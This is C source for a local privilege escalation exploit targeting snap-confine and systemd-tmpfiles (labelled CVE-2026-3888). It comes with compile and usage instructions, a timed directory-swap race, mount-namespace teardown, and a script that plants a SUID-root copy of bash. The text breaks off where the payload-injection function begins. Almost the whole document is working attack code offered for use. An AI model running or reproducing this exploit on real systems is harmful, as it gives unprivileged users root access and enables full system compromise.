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| /*
* CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
*
* Compile this:
* gcc -O2 -static -o exploit exploit_suid.c
*
* Compile the payload separately:
* gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
*
* Usage:
* ./exploit <librootshell.so> [-d] [-s]
*
* -d Show snap-confine debug output and verbose system
* command output. Without this flag, only exploit
* status messages are shown.
* -s Skip the .snap cleanup wait. Requires root password.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/syscall.h>
#define SNAP_CONFINE "/usr/lib/snapd/snap-confine"
#define EXCHANGE_SRC ".snap/usr/lib/x86_64-linux-gnu.exchange"
#define EXCHANGE_DST ".snap/usr/lib/x86_64-linux-gnu"
#define REAL_LIBDIR "/snap/core22/current/usr/lib/x86_64-linux-gnu"
#define TRIGGER "dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\""
#define SUID_BASH "/var/snap/firefox/common/bash"
#define ESCAPE_SCRIPT \
"#!/tmp/busybox sh\n" \
"/tmp/busybox cp /bin/bash /var/snap/firefox/common/bash\n" \
"/tmp/busybox chmod 04755 /var/snap/firefox/common/bash\n"
static char g_orig_cwd[4096];
static char g_librootshell[4096];
static int g_unit_seq = 0;
static int g_debug = 0;
static int copy_file(const char *src, const char *dst)
{
int fds = open(src, O_RDONLY);
if (fds < 0) return -1;
int fdd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fdd < 0) { close(fds); return -1; }
char buf[65536];
ssize_t n;
while ((n = read(fds, buf, sizeof(buf))) > 0)
write(fdd, buf, n);
close(fds);
close(fdd);
return 0;
}
static int setup_snap_and_exchange(void)
{
mkdir(".snap", 0755);
mkdir(".snap/usr", 0755);
mkdir(".snap/usr/lib", 0755);
mkdir(".snap/usr/local", 0755);
mkdir(".snap/snap", 0755);
mkdir(".snap/snap/firefox", 0755);
/* Mirror /snap/firefox/<rev>/data-dir structure */
DIR *d = opendir("/snap/firefox");
if (d) {
struct dirent *ent;
while ((ent = readdir(d)) != NULL) {
if (ent->d_name[0] != '.' &&
strcmp(ent->d_name, "current") != 0) {
char p[512];
snprintf(p, sizeof(p),
".snap/snap/firefox/%s", ent->d_name);
mkdir(p, 0755);
snprintf(p, sizeof(p),
".snap/snap/firefox/%s/data-dir", ent->d_name);
mkdir(p, 0755);
}
}
closedir(d);
}
/* Copy every entry from core22's /usr/lib/x86_64-linux-gnu */
mkdir(EXCHANGE_SRC, 0755);
d = opendir(REAL_LIBDIR);
if (!d) { perror("[!] opendir " REAL_LIBDIR); return -1; }
int count = 0;
struct dirent *ent;
while ((ent = readdir(d)) != NULL) {
if (ent->d_name[0] == '.' &&
(ent->d_name[1] == '\0' ||
(ent->d_name[1] == '.' && ent->d_name[2] == '\0')))
continue;
char src[4096], dst[4096];
snprintf(src, sizeof(src), "%s/%s", REAL_LIBDIR, ent->d_name);
snprintf(dst, sizeof(dst), "%s/%s", EXCHANGE_SRC, ent->d_name);
struct stat st;
if (lstat(src, &st) < 0) continue;
if (S_ISDIR(st.st_mode))
mkdir(dst, 0755);
else if (S_ISLNK(st.st_mode)) {
char link[4096];
ssize_t len = readlink(src, link, sizeof(link) - 1);
if (len > 0) { link[len] = '\0'; symlink(link, dst); }
} else
copy_file(src, dst);
count++;
}
closedir(d);
printf("[*] %d entries copied to exchange directory\n", count);
return 0;
}
static int create_stderr_socket(int *rd, int *wr)
{
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
perror("socketpair");
return -1;
}
int one = 1;
setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one));
setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one));
*rd = sv[0];
*wr = sv[1];
return 0;
}
static pid_t run_and_race(void)
{
int rd, wr;
if (create_stderr_socket(&rd, &wr) < 0) return -1;
pid_t child = fork();
if (child < 0) { perror("fork"); return -1; }
if (child == 0) {
/* Child: redirect stderr to the throttled socket, exec snap-confine */
close(rd);
dup2(wr, STDERR_FILENO);
close(wr);
clearenv();
setenv("SNAPD_DEBUG", "1", 1);
setenv("SNAP_INSTANCE_NAME", "firefox", 1);
execl(SNAP_CONFINE, "snap-confine",
"--base", "core22",
"snap.firefox.hook.configure",
"/bin/sh", "-c",
"echo $$ > /tmp/race_pid.txt; "
"stat -c '%U:%G %a' "
"/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 "
"> /tmp/race_perms.txt 2>&1; "
"sleep 99994",
NULL);
_exit(1);
}
close(wr);
/* Ring buffer for trigger detection */
char ringbuf[4096];
int ringpos = 0;
memset(ringbuf, 0, sizeof(ringbuf));
int tlen = strlen(TRIGGER);
char byte;
ssize_t n;
int swapped = 0;
/* Open a sink for the debug stream. We must ALWAYS write each byte
* somewhere — the write() call provides timing backpressure that
* the race depends on. In debug mode → stdout. Otherwise → /dev/null. */
int sink_fd = g_debug ? STDOUT_FILENO
: open("/dev/null", O_WRONLY);
printf("[*] Monitoring snap-confine (child PID %d)...\n", child);
while ((n = read(rd, &byte, 1)) > 0) {
write(sink_fd, &byte, 1);
ringbuf[ringpos % sizeof(ringbuf)] = byte;
ringpos++;
if (!swapped && ringpos >= tlen) {
char check[512];
for (int i = 0; i < tlen && i < (int)sizeof(check) - 1; i++)
check[i] = ringbuf[(ringpos - tlen + i) % sizeof(ringbuf)];
check[tlen] = '\0';
if (strstr(check, TRIGGER)) {
printf("\n[!] TRIGGER — swapping directories...\n");
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif
if (syscall(SYS_renameat2, AT_FDCWD, EXCHANGE_DST,
AT_FDCWD, EXCHANGE_SRC,
RENAME_EXCHANGE) != 0) {
/* Fallback: non-atomic two-step rename */
rename(EXCHANGE_DST,
".snap/usr/lib/x86_64-linux-gnu.orig");
rename(EXCHANGE_SRC, EXCHANGE_DST);
}
swapped = 1;
printf("[+] SWAP DONE — race won!\n");
/*
* Fork a drainer child that keeps reading the socket.
* This prevents SIGPIPE — snap-confine must stay alive
* to finish namespace setup and exec the inner shell.
* Without this, closing rd kills snap-confine mid-setup
* and race_pid.txt is never written.
*/
pid_t drainer = fork();
if (drainer == 0) {
char sink;
while (read(rd, &sink, 1) > 0)
;
_exit(0);
}
close(rd);
rd = -1;
/* Let snap-confine finish + inner shell write files */
sleep(5);
break;
}
}
}
if (rd >= 0) close(rd);
if (sink_fd != STDOUT_FILENO && sink_fd >= 0) close(sink_fd);
if (!swapped) {
printf("[-] Race lost — trigger string not detected.\n");
kill(child, SIGTERM);
waitpid(child, NULL, 0);
return -1;
}
/* Read poisoned-namespace shell PID from race_pid.txt */
pid_t poison_pid = -1;
for (int try = 0; try < 10; try++) {
FILE *f = fopen("race_pid.txt", "r");
if (f) {
char line[64];
if (fgets(line, sizeof(line), f))
poison_pid = (pid_t)atoi(line);
fclose(f);
if (poison_pid > 0) break;
}
usleep(500000);
}
/* Fallback: if race_pid.txt wasn't written but child is alive,
* try using the child PID directly. The child may still be in
* the poisoned namespace even if snap-confine hit errors. */
if (poison_pid <= 0) {
printf("[*] race_pid.txt not found, checking child PID %d...\n", child);
/* Check /proc/<child>/root as a proxy for namespace access */
char rootpath[256];
snprintf(rootpath, sizeof(rootpath), "/proc/%d/root", child);
struct stat st;
if (stat(rootpath, &st) == 0 && kill(child, 0) == 0) {
/* Try reading perms directly from child's namespace */
char permpath[256];
snprintf(permpath, sizeof(permpath),
"/proc/%d/root/tmp/race_perms.txt", child);
FILE *pf = fopen(permpath, "r");
if (pf) {
char perms[128];
if (fgets(perms, sizeof(perms), pf)) {
perms[strcspn(perms, "\n")] = '\0';
printf("[*] ld-linux in namespace: %s\n", perms);
}
fclose(pf);
}
/* Verify namespace is accessible */
char ldpath[256];
snprintf(ldpath, sizeof(ldpath),
"/proc/%d/root/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",
child);
if (stat(ldpath, &st) == 0 && st.st_uid != 0) {
printf("[+] Using child PID %d as poisoned namespace PID\n", child);
poison_pid = child;
} else {
printf("[-] Child alive but ld-linux not accessible or owned by root\n");
}
} else {
printf("[-] Child PID %d is no longer alive\n", child);
}
if (poison_pid <= 0) {
printf("[-] Could not read poison PID from race_pid.txt\n");
return -1;
}
} else {
/* Log permissions for debugging */
FILE *pf = fopen("race_perms.txt", "r");
if (pf) {
char perms[128];
if (fgets(perms, sizeof(perms), pf)) {
perms[strcspn(perms, "\n")] = '\0';
printf("[*] ld-linux in namespace: %s\n", perms);
}
fclose(pf);
}
}
printf("[+] Poisoned namespace PID: %d\n", poison_pid);
return poison_pid;
}
/* ===================================================================
* Phase 1 — Enter the Firefox sandbox
*
* Forks a child that execs snap-confine → /bin/sh.
* The shell cd's to /tmp, waits for .snap to be deleted, then sleeps.
* Returns the child PID (= the inner shell PID after exec chain).
* =================================================================*/
static pid_t phase1_enter_sandbox(void)
{
printf("\n[Phase 1] Entering Firefox sandbox...\n");
pid_t child = fork();
if (child < 0) { perror("fork"); return -1; }
if (child == 0) {
if (!g_debug) {
int nul = open("/dev/null", O_WRONLY);
if (nul >= 0) { dup2(nul, STDERR_FILENO); close(nul); }
}
clearenv();
setenv("SNAP_INSTANCE_NAME", "firefox", 1);
execl(SNAP_CONFINE, "snap-confine",
"--base", "core22",
"snap.firefox.hook.configure",
"/bin/sh", "-c",
"cd /tmp; "
"while test -d ./.snap; do touch ./; sleep 5; done; "
"sleep 86400",
NULL);
_exit(1);
}
sleep(3); /* let the inner shell start and cd to /tmp */
char probe[256];
snprintf(probe, sizeof(probe), "/proc/%d/cwd", child);
struct stat st;
if (stat(probe, &st) < 0) {
printf("[-] Cannot reach inner shell at %s\n", probe);
waitpid(child, NULL, WNOHANG);
return -1;
}
printf("[+] Inner shell PID: %d\n", child);
return child;
}
/* ===================================================================
* Phase 2 — Wait for systemd-tmpfiles to delete .snap
*
* Polls /proc/<inner>/root/tmp/.snap until it vanishes.
* If the inner shell dies (cleanup killed snap-private-tmp),
* re-enters the sandbox and returns the new PID.
* =================================================================*/
static pid_t phase2_wait_for_cleanup(pid_t inner, int skip)
{
printf("\n[Phase 2] Waiting for .snap deletion...\n");
char path[256];
snprintf(path, sizeof(path), "/proc/%d/root/tmp/.snap", inner);
struct stat st;
if (stat(path, &st) != 0) {
printf("[+] .snap already gone!\n");
return inner;
}
if (skip) {
printf("[*] --skip-wait: triggering cleanup...\n");
system("systemctl start systemd-tmpfiles-clean.service "
"2>/dev/null");
sleep(5);
if (stat(path, &st) != 0)
printf("[+] .snap deleted after manual trigger.\n");
else
printf("[!] .snap still present — continuing anyway.\n");
} else {
printf("[*] Polling (up to 30 days on stock Ubuntu).\n");
printf("[*] Hint: use -s to skip.\n");
while (stat(path, &st) == 0) {
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died — re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
sleep(5);
}
printf("[+] .snap deleted.\n");
}
/* Re-enter if the shell was killed by cleanup */
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died from cleanup. Re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
return inner;
}
/* ===================================================================
* Phase 3 — Destroy the cached mount namespace
*
* Runs snap-confine with an invalid base ("snapd") which tears down
* the cached namespace for firefox. Next invocation rebuilds from
* scratch — hitting the vulnerable mimic codepath.
* =================================================================*/
static int phase3_destroy_namespace(void)
{
printf("\n[Phase 3] Destroying cached mount namespace...\n");
char cmd[1024];
snprintf(cmd, sizeof(cmd),
"systemd-run --user --scope --quiet "
"--unit=snap.cve3888.%d.%d -- "
"env -i SNAP_INSTANCE_NAME=firefox "
"%s --base snapd "
"snap.firefox.hook.configure /nonexistent "
"2>&1; true",
getpid(), g_unit_seq++, SNAP_CONFINE);
system(cmd);
printf("[+] Namespace destroyed.\n");
return 0;
}
/* ===================================================================
* Phase 4 — Win the race
*
* cd's into the sandbox's /tmp via /proc/<inner>/cwd, builds the
* .snap and .exchange trees, then runs the race against snap-confine.
* Returns the PID of the shell inside the poisoned namespace.
* =================================================================*/
static pid_t phase4_win_race(pid_t inner)
{
printf("\n[Phase 4] Setting up and running the race...\n");
char cwd[256];
snprintf(cwd, sizeof(cwd), "/proc/%d/cwd", inner);
if (chdir(cwd) < 0) {
perror("[!] chdir to sandbox /tmp");
return -1;
}
printf("[*] Working directory: %s\n", cwd);
printf("[*] Building .snap and .exchange...\n");
if (setup_snap_and_exchange() < 0) return -1;
printf("[*] Starting race...\n");
return run_and_race();
}
/* ===================================================================
* Phase 5 — Inject the payload into the poisoned namespace
*
* Accesses /proc/<poison>/root to reach the namespace where all
* libraries in /usr/lib/x86_64-linux-gnu are attacker-owned.
* Plants:
* /tmp/busybox — static shell binary
* /tmp/sh — auto-escape script (shebang → busybox)
* ld-linux-x86-64.so.2 — overwritten with librootshell.so
* =================================================================*/
static int phase5_inject_payload(pid_t poison)
|
